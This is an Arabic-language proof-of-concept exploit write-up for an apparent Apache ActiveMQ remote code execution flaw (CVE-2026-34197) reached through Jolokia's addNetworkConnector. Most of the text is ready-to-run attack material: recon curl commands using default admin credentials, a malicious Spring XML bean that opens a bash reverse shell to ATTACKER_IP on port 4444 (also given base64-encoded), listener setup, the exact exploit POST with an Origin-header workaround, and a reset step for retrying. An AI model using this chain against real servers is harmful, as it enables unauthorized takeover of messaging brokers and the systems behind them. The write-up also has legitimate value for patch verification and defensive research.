
إثبات مفهوم لاستغلال CVE-2026-34197، وهو ثغرة تنفيذ أوامر عن بُعد (RCE) في Apache ActiveMQ عبر addNetworkConnector الخاص بـ Jolokia، مع ملاحظات تقنية وحمولة قشرة عكسية.
addNetworkConnector RCEإثبات المفهوم وملاحظات تقنية لثغرة CVE-2026-34197، وهي ثغرة تنفيذ كود عن بُعد في Apache ActiveMQ Classic يمكن الوصول إليها عبر جسر Jolokia JMX-HTTP.
conf/jolokia-access.xml) تمنح صلاحية exec على كل MBean من نوع org.apache.activemq:*. ويشمل ذلك Broker.addNetworkConnector(String)، الذي يقبل URI نقل من نوع vm:// حيث يقوم الوسيط (broker) بجلب معامل الاستعلام brokerConfig الخاص به وتحليله كملف تعريف حبة Spring XML. يتم إنشاء حبة (bean) صنفها مع — وتشغيلها — كأثر جانبي لحل Spring لرسم الحبوب. لا حاجة لسلسلة أدوات إلغاء التسلسل (deserialization gadget chain).java.lang.ProcessBuilderinit-method="start"⚠️ للاختبار المصرح به / البحث / استخدام CTF فقط. لا تقم بتشغيل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
تأكد من أن exec يمكن الوصول إليه فعليًا على MBean الخاص بالوسيط:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) لا يقبل URI مكشوفًا من نوع vm://... — بل يتم تحليله أولاً كـ URI لوكيل اكتشاف، وvm ليس مخطط اكتشاف مسجلاً (DiscoveryAgent scheme NOT recognized: [vm]). قم بلفه داخل static:(...)، مخطط الاكتشاف الثابت في ActiveMQ، والذي يمرر URI vm:// الداخلي دون تعديل:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
غلاف <![CDATA[...]]> ضروري لأن سطر الصدفة العكسية يحتوي على &، والذي قد يحاول XML تحليله كبداية لمرجع كيان. بديل مكافئ بدون هروب هو ترميز الأمر بـ base64 بدلاً من ذلك:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
قم بتقديمه:
python3 -m http.server 8000
شغّل مستمعًا:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
ترويسة Origin مهمة. إذا كان ملف jolokia-access.xml في هذا الإصدار مفعّلاً لفرض CORS (كتلة <cors></cors>، حتى لو فارغة)، فإن Jolokia يتطلب Origin/Referer جيد التكوين على الطلبات التي تغيّر الحالة. احذفها وستحصل على استجابة رفض سياسة قد تبدو وكأن النظام مصحح بينما هو ليس كذلك.
الاستدعاء الناجح يُرجع:
{"value":"NC","status":200}
الاستدعاء أعمى عبر HTTP — لا يوجد جسم استجابة يحمل مخرجات الأوامر — لذا فإن المستمع الخاص بك من الخطوة السابقة هو ما يلتقط الصدفة فعليًا.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) يسجّل دائمًا كائن JMX الناتج تحت اسم الموصل NC، بغض النظر عن URI الذي تمرره. هذا هو الإعداد الافتراضي المرمّز في ActiveMQ نفسه، وليس شيئًا مشتقًا من الطلب:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) لا يكشف أبدًا عن طريقة لتجاوز ذلك — لا توجد حيلة اسم/معامل استعلام تغيّر ObjectName المسجل (تم اختباره يدويًا: إلحاق ?name=whatever خارج غلاف static:(...) يتم تجاهله بصمت).
النتيجة: الاستدعاء الثاني لـ addNetworkConnector — سواء كان إعادة محاولة خاصة بك بعد حمولة معطوبة، أو ببساطة لأن الموصل مسجل بالفعل من تشغيل ناجح سابق — يفشل:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
هذا لا يتطلب إعادة تشغيل الوسيط للتعافي منه. Broker يكشف أيضًا عن removeNetworkConnector(String) عبر نفس سياسة Jolokia (منح <allow operation="*"> على org.apache.activemq:* يغطي كل عمليات الوسيط، وليس هذه فقط). امسح الموصل القديم بالاسم وأعد المحاولة:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
الاستدعاء الناجح يُرجع {"value":true,"status":200}. أعد تشغيل الخطوة 3 فورًا بعد ذلك — فهي تعيد تسجيل NC وتطلق poc.xml مرة أخرى.
admin في Jolokia/وحدة التحكم، والتي لا علاقة لها بحساب نظام التشغيل.addNetworkConnector لا يشغّل حبة Spring مرة واحدة فقط — بل يترك كائن موصل شبكة حيًا مسجلاً على الوسيط (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). هذا أثر دائم للاستغلال، مستقل عن ما إذا كانت العملية المستحدثة نفسها تستمر أم لا.NetworkBridgeConfiguration.java — مصدر الإعداد الافتراضي private String name = "NC";BrokerViewMBean.java — واجهة JMX الخاصة بـ addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java